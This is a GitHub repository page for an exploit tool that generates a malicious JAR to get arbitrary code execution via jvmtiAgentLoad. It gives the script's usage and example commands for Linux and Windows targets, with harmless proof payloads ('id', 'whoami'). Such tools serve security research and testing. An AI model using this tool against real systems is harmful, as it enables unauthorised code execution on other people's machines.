Skip to content

Tools and code for generating a malicious JAR to exploit jvmtiAgentLoad

Notifications You must be signed in to change notification settings

mbadanoiu/jvmtiAgentLoad-Exploit

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Arbitrary code execution via jvmtiAgentLoad

Description:

Tools and code for generating a malicious JAR to exploit jvmtiAgentLoad

Usage:

$ bash create_jar.sh 
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows

Linux Target

The following command generates a JAR (mal.jar) that can be used on a Linux target:

bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'

Windows Target

The following command generates a JAR (mal.jar) that can be used on a Windows target:

bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'

Additional Resources:

Blog post on how the jvmtiAgentLoad exploit works by pyn3rd

About

Tools and code for generating a malicious JAR to exploit jvmtiAgentLoad

Topics

Resources

Stars

Watchers

Forks

Languages